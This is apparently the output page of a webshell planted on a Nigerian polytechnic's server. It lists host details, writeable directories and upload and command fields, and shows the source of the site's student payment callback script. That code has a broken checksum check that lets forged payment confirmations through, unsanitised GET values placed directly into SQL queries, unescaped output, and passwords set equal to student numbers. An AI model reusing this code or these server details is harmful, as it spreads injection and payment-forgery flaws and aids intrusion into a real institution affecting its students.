403Webshell
Server IP : 172.64.80.1  /  Your IP : 108.162.241.66
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs/ace_admin_student/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs/ace_admin_student/payment.php
<?php
session_start();
/**
 * Created by PhpStorm.
 * User: fpe
 * Date: 1/18/2020
 * Time: 5:04 PM
 */
//Calcualte Finalchecksum from response returned.
 $formNo=$_SESSION['formNo'];
 $matNo= $_SESSION['formNo'];
//$secret_key = "DEMO_KEY";

$secret_key=$_SESSION['secret_key'];

$amount = $_GET['AMOUNT'];
 $desc =$reference= $_GET['DESCRIPTION'];
$desc =$reference= $_GET['DESCRIPTION'];
$desc =$reference= $_GET['DESCRIPTION'];
$email = $_GET['EMAIL'];
 $status_code = $_GET['SUCCESS'];
$terminal_id = $_GET['TERMINAL_ID'];
 $transidK = $_GET['TRANSACTION_ID']; //Note, status_code and response_code are the same.
$final_checksum = $_GET['FINAL_CHECKSUM'];
  $response_code = $_GET['RESPONSE_CODE'];
$response_code=$status_code;
 $msg = $_GET['STATUS_REASON'];
//die();
$msg2 = $_GET['MESSAGE']; //Note, STATUS_REASON and MESSAGE are the same.
$etzRef = $_GET['TRANS_NUM'];
$myFinalcheck = md5($_GET['SUCCESS'].$_GET['AMOUNT'].$_GET['TERMINAL_ID'].$_GET['TRANSACTION_ID'].$secret_key);
if(isset($_GET['FINAL_CHECKSUM']) != $myFinalcheck){
    echo '<p class="error">Wrong FinalCheckSum.</p>';
    echo '<p class="error">$finalcheck</p>';
    echo '<p class="error">$final_checksum</p>';
    echo '<script type="text/javascript">window.onload = function () { alert("Wrong FinalChecksum!!!"); }</script>';
}

$transApproved="False";
switch ($response_code) {
    case "0":
        $status_desc = "Transaction successful. Payment accepted";
        $transApproved="True";
        break;
    case "-1":
        $status_desc = "Transaction timeout or invalid parameters or unsuccessful transaction in the case of Query History";
        break;
    case "1":
        $status_desc = "Destination Card Not Found";
        break;
    case "2":
        $status_desc = "Card Number Not Found";
        break;
    case "3":
        $status_desc = "Invalid Card PIN";
        break;
    case "4":
        $status_desc = "Card Expiration Incorrect";
        break;
    case "5":
        $status_desc = "Insufficient balance";
        break;
    case "6":
        $status_desc = "Spending Limit Exceeded";
        break;
    case "7":
        $status_desc = "Internal System Error Occurred, please contact the service provider";
        break;
    case "8":
        $status_desc = "Financial Institution cannot authorize transaction, Please try later";
        break;
    case "9":
        $status_desc = "PIN tries Exceeded";
        break;
    case "10":
        $status_desc = "Card has been locked";
        break;
    case "11":
        $status_desc = "Invalid Terminal Id";
        break;
    case "12":
        $status_desc = "Payment Timeout";
        break;
    case "13":
        $status_desc = "Destination card has been locked";
        break;
    case "14":
        $status_desc = "Card has expired";
        break;
    case "15":
        $status_desc = "PIN change required";
        break;
    case "16":
        $status_desc = "Invalid Amount";
        break;
    case "17":
        $status_desc = "Card has been disabled";
        break;
    case "18":
        $status_desc = "Unable to credit this account immediately, credit will be done later";
        break;
    case "19":
        $status_desc = "Transaction not permitted on terminal";
        break;
    case "20":
        $status_desc = "Exceeds withdrawal frequency";
        break;
    case "21":
        $status_desc = "Destination Card has expired";
        break;
    case "22":
        $status_desc = "Destination Card Disabled";
        break;
    case "23":
        $status_desc = "Source Card Disabled";
        break;
    case "24":
        $status_desc = "Invalid Bank Account";
        break;
    case "25":
        $status_desc = "Insufficient Balance";
        break;
    case "26":
        $status_desc = "CHECKSUM/FINAL_CHECKSUM error";
        break;
    default:
        $status_desc = "Your Transaction was not Successful. No amount was debited from your account.";
        break;
}
if ($msg == "") {
    $msg = $status_desc;
}
//echo $reference;
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
    <title></title>
</head>
<body>
<table width="50%" align="center" cellpadding="3" cellspacing="5">
    <tr>
        <td align="center"><img src="../images/edebanner2.png" width="731" height="95"></td>
    </tr>
    <tr>
        <td><fieldset><legend>Payment Detail</legend>
                <div style="text-align: center;">    <form id="form1">
                        <div>
                            <table class="table">
            <tr class="active">
                <td >
                    Transaction ID:</td>
                <td><?php echo $transidK;?></td>
            </tr>
            <tr class="info">
                <td >
                    Transaction Code:</td>
                <td><?php echo $response_code; ?></td>
            </tr>
            <tr class="info">
                <td >
                    Transaction Response:</td>
                <td><?php echo $msg; ?></td>
            </tr>
            <tr class="active">
                <td >
                    Payment Description:</td>
                <td><?php echo $desc; ?></td>
            </tr>
            <tr class="info">
                <td >
                    Amount:</td>
                <td><?php echo $amount; ?></td>
            </tr>
            <tr class="info">
                <td >
                    Etz Reference:</td>
                <td><?php echo $etzRef; ?></td>
            </tr>
         <tr class="info">
            <td>Links</td>
             <td>




            <?php
            require_once('../connect.php');
            $db=db_connect();
            require('../filetoU/logFile.php');
            $orderID=$transidK;
            $logD='Payment. OrderID: '.$orderID.' PaymentType: '.$reference;
            logDetail($matNo,$logD);

            if ($reference == 'aceForm'){
                $ade="UPDATE `fedpoly`.`ace_remitaorderform` SET `remitaRRR` = '$etzRef',`transDate` = CURRENT_TIMESTAMP,`transStatus` = '$response_code',`transDetail` = '$msg',`transApproved` ='$transApproved' WHERE `ace_remitaorderform`.`orderID` ='$orderID'";
                $db->query($ade);

            }else {
                $ade = "UPDATE `fedpoly`.`ace_remitaorder` SET `remitaRRR` = '$etzRef',`transDate` = CURRENT_TIMESTAMP,`transStatus` = '$response_code',`transDetail` = '$msg',`transApproved` ='$transApproved' WHERE `ace_remitaorder`.`orderID` ='$orderID'";
                $db->query($ade);
//                die();
            }
//echo $reference;
            //========================Form=============================================
            //            echo $ptype.'___';
//            echo $reference;
            if (($reference == 'aceForm') and ($response_code == 0)) {
                  $matSQLK = "select * from ace_entrancetable where transID='$formNo'";
                $mat=$db->query("$matSQLK");
                if ($mat->rowCount()>0){
                    $r_fetch=$mat->fetch(PDO::FETCH_BOTH);
                    $ptype=$r_fetch['formType'];
                     $dept=$r_fetch['dept'];
                }

                echo '<a href="../ace_entranceForm/formPaymentReciept.php" target="_blank">Click Here to Print Application Receipt</a><hr>';


                if ($dept < 10) {
                    $deptCode = '0' . $dept;
                } else {
                     $deptCode = $dept;
                }
//    die($deptCode);

//end formType code generation
//echo $ptype;

                if ($ptype == 'aceForm') {
                    $formCode = '8';
                } else {
                    $formCode = '0';
                }
//                echo $formCode;
//echo $formCode;
//End of Form type Code

//generate serial Number

                $matSQL = "select * from ace_entrancetable where formNo<>''";
                $matResult = $db->query($matSQL);
                $matNum = $matResult->rowCount();
                if ($matNum >= 0) {
                    $realNo = $matNum + 1;
                    if ($realNo < 10) {
                        $serialNo = '0000' . $realNo;
                    } elseif ($realNo < 100) {
                        $serialNo = '000' . $realNo;
                    } elseif ($realNo < 1000) {
                        $serialNo = '00' . $realNo;
                    } elseif ($realNo < 10000) {
                        $serialNo = '0' . $realNo;
                    } else {
                        $serialNo = $realNo;
                    }

                    $entranceUpdate = $db->query("select * from ace_remitaorderform where orderID='$orderID'");
                    $entranceUpdate_fetch = $entranceUpdate->fetch(PDO::FETCH_BOTH);
                    $transCode = $entranceUpdate_fetch['regNo'];
//                   echo $matNo . 'matNo';
//                   echo $transCode . 'transCode';
                    if ($transCode == $matNo) {
                        $newMatNo = '19' . $formCode . $deptCode . $serialNo;
//            die($formCode);
//                        echo "UPDATE `fedpoly`.`ace_remitaorderform` SET `regNo` = '$newMatNo' WHERE `ace_remitaorderform`.`orderID` ='$orderID'";
                        //mysql_query("UPDATE `fedpoly`.`realdataform` SET `matNo` = '$newMatNo',`usernamea` = '$newMatNo',`passworda` = '$newMatNo',`fresher` = '10' WHERE `realdataform`.`formNo` ='$matNo'");
                        $db->query("UPDATE `fedpoly`.`ace_remitaorderform` SET `regNo` = '$newMatNo' WHERE `ace_remitaorderform`.`orderID` ='$orderID'");
                        $db->query("UPDATE `fedpoly`.`ace_entrancetable` SET `formNo` = '$newMatNo' WHERE `ace_entrancetable`.`transID` ='$transCode'");
                        $db->query("UPDATE `fedpoly`.`ace_admitted` SET `formNo` = '$newMatNo',formStatus=0 WHERE `ace_admitted`.`jambNo` ='$formNo' or jambNo like '$formNo%'");
//                        echo $formNo;
                        $_SESSION['matNo'] = $newMatNo;
//            die($paymentType);
//
                        echo '<font color="#FF0000"><h2><br> Note: Your form Number is ' . $newMatNo . '</h2></font>';
//            echo 'Here';
                    } else {
                        $matSQLa = "select * from ace_entrancetable where transID='$matNo'";
                        $matResulta = $db->query($matSQLa);
                        $matResulta_fetch = $matResulta->fetch(PDO::FETCH_BOTH);
                        $_SESSION['matNo'] = $newMatNo = $transCode;
                        echo '<font color="#FF0000"><h2><br> Note: Your form Number is ' . $matResulta_fetch['formNo'] . '</h2></font>';
                    }
                }
                //End of generation
                echo"<div style=color: #ae2b2b>Kindly Write Down Your Details Before Proceed</div><br><a href=../ace_entranceForm/apply.php?user=".$matNo ."&formNo=".$newMatNo."><p>Click Here to Proceed</a>";
            }
            //=====================Acceptance fees ======================================
            if (($reference == 'Application Form Fee') and ($response_code == 0)) {

                echo '<a href="print/FormPrint.php" target="_blank">Click Here to Print Application Receipt</a>';
            }
            if (($reference == 'Damages Fee') and ($response_code == 0)) {

                echo '<a href="print/damPrint.php" target="_blank">Click Here to Print Damages Fee Receipt</a>';
            }
            if (($reference == 'Departmental Fee') and ($response_code == 0)) {

                echo '<a href="print/DeptPrint.php" target="_blank">Click Here to Print Departmental Receipt</a>';
            }
            if (($reference == 'Acceptance Fee') and ($response_code == 0)) {
                echo '<a href="print/acceptancePrint.php" target="_blank">Click Here to Print Acceptance Receipt</a>';
                echo '<br><a href="print/admissionLetter.php" target="_blank">Print Admission Letter</a>';

                $k = $db->query("select * from ace_remitaorder where regNo='$matNo'and paymentType='Acceptance Fee' and transApproved='True'")->rowCount();
                if ($k > 0) {
                    $cardGet1 = $db->query("select * from stddata where formNo='$matNo' or jambNo='$matNo'");
                    $cardGet1_fetch = $cardGet1->fetch(PDO::FETCH_BOTH);
                    $cardGet1_num = $cardGet1->rowCount();
                    if ($cardGet1->rowCount() > 0) {
                        $admittedGet = $db->query("select * from ace_admitted where formNo='$matNo'");
                        $admittedGet_fetch = $admittedGet->fetch(PDO::FETCH_BOTH);
                        if ($admittedGet->rowCount() > 0) {
                            echo $cardGet1_fetch['formNo'] . '==>';
                            echo $names = $cardGet1_fetch['surname'] . ' ' . $cardGet1_fetch['otherNames'];
                            $names = str_replace("'", "''", $names);
                            $course = $admittedGet_fetch['course'];
                            $levelID = $admittedGet_fetch['levelID'];
                            $address = $cardGet1_fetch['address'];
                            $address = str_replace("'", "''", $address);
                            $state = $cardGet1_fetch['state'];
                            $lga = $cardGet1_fetch['lga'];
                            $email = $cardGet1_fetch['email'];
                            $gsm = $cardGet1_fetch['gsm'];
                            $ausername = $admittedGet_fetch['formNo'];
                            $apassword = $admittedGet_fetch['formNo'];
                            $mode = $admittedGet_fetch['mode'];
                            $dob = $cardGet1_fetch['dob'];
                            $sex = $cardGet1_fetch['sex'];

                            $hh = $db->query("INSERT INTO `fedpoly`.`ace_realdata` (`sn`, `formNo`, `matNo`, `names`, `course`, `levelID`, `mode`, `state`, `lga`, `dob`, `gsm`, `sex`, `address`, `email`, `usernamea`, `passworda`, `fresher`) VALUES (NULL, '$matNo', '$matNo', '$names', '$course', '$levelID', '$mode', '$state', '$lga', '$dob', '$gsm', '$sex', '$address', '$email', '$matNo', '$matNo', '5')");
                        }
                    }
                }
            }
            //=======================End Acceptance =====================================

            if (($reference == 'School Fees') and ($response_code == 0)) {
                echo '<a href="print/schoolFeePrint.php"  target="_blank">Click to Print School Receipt</a>';

                echo '<br><a href="admin.php" target="_blank">Continue Registration</a>';

//                if ($response_code==0){
                echo '<a href="print/schoolFeePrint.php" target="_blank">Click to Print School Receipt</a>';

                echo '<br><a href="admin.php" target="_blank">Continue Registration</a>';

                //===============================================*****************************
                $mSQL = "select * from ace_realdata where formNo='$matNo' and matNo='$matNo' and fresher=4";
                $mResult = $db->query($mSQL);
                  $mNum = $mResult->rowCount();

                if ($mNum > 0) {
                    $matNoOld = $_SESSION['formNo'];
                    //generate prefix and sufix
                    $deptID = $_SESSION['deptID'];
                    $levelID = $_SESSION['levelID'];
                    //	echo $_SESSION['course'] ;
                    $prefixQ = $db->query("select * from dept where sn='$deptID'");
                    $prefixQ_fetch = $prefixQ->fetch(PDO::FETCH_BOTH);
                    $numPrefix = $prefixQ->rowCount();
                    $courseName = $prefixQ_fetch['dOption'];
                    if ($numPrefix > 0) {
                        if ($levelID == '1') {
                            $prefix = $prefixQ_fetch['nd'];
                            $sufix = '';
                            $levelCode = '01';
                        } elseif ($levelID == '3') {
                            $prefix = $prefixQ_fetch['hnd'];
                            $sufix = '';
                            $levelCode = '01';
                        } elseif ($levelID == '5') {
                            $prefix = $prefixQ_fetch['nd'];
                            $sufix = 'PT';
                            $levelCode = '03';
                        } elseif ($levelID == '8') {
                            $prefix = $prefixQ_fetch['nd'];
                            $sufix = 'DPT';
                            $levelCode = '02';
                        } elseif ($levelID == '10') {
                            $prefix = $prefixQ_fetch['nd'];
                            $sufix = '';
                            $levelCode = '01';
                        } elseif ($levelID == '11') {
                            $prefix = $prefixQ_fetch['hnd'];
                            $sufix = '';
                            $levelCode = '02';
                        }
                    }
                    $levelCode='04';
                    //End of prefix and sufix
                    //generate serial Number
                    // echo $courseName;
                    //$matSQL="select * from realdata where fresher='20' and course='$courseName' and levelID='$levelID' ";
                    $matSQL = "select * from ace_realdata where fresher='50' ";
                    $matResult = $db->query($matSQL);
                    echo $matNum = $matResult->rowCount();
                    if ($matNum > 0) {
                        $realNo = $matNum + 1;
                        if ($realNo < 10) {
                            $serialNo = '2019' . $levelCode . '0000' . $realNo;
                        } elseif ($realNo < 100) {
                            $serialNo = '2019' . $levelCode . '000' . $realNo;
                        } elseif ($realNo < 1000) {
                            $serialNo = '2019' . $levelCode . '00' . $realNo;
                        } elseif ($realNo < 10000) {
                            $serialNo = '2019' . $levelCode . '0' . $realNo;
                        } else {
                            $serialNo = '2019' . $levelCode . $realNo;
                        }
                    } else {
                        $serialNo = '2019' . $levelCode . '00001';
                    }
                    $newMatNo = $prefix . $serialNo;
                    $real="UPDATE `fedpoly`.`ace_realdata` SET `matNo` = '$newMatNo',`usernamea` = '$newMatNo',`passworda` = '$newMatNo',`fresher` = '50' WHERE `ace_realdata`.`formNo` ='$matNo'";
                    $db->query($real);
                    $real2="UPDATE `fedpoly`.`ace_remitaorder` SET `regNo` = '$newMatNo' WHERE `ace_remitaorder`.`orderID` ='$orderID'";
                    $db->query($real2);

                    $_SESSION['matNo'] = $newMatNo;

//                copy('../passportForm/' . $matNo . '.jpg', 'passport/Reg' . $newMatNo . '.jpg');
                    echo '<font color="#FF0000"><h2><br> Note: Your Username and Password is now ' . $newMatNo . '</h2></font>';
                }
            }

            //

            //===============================================*****************************



            ?>
            </td>
         </tr>
            </table>
        </div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit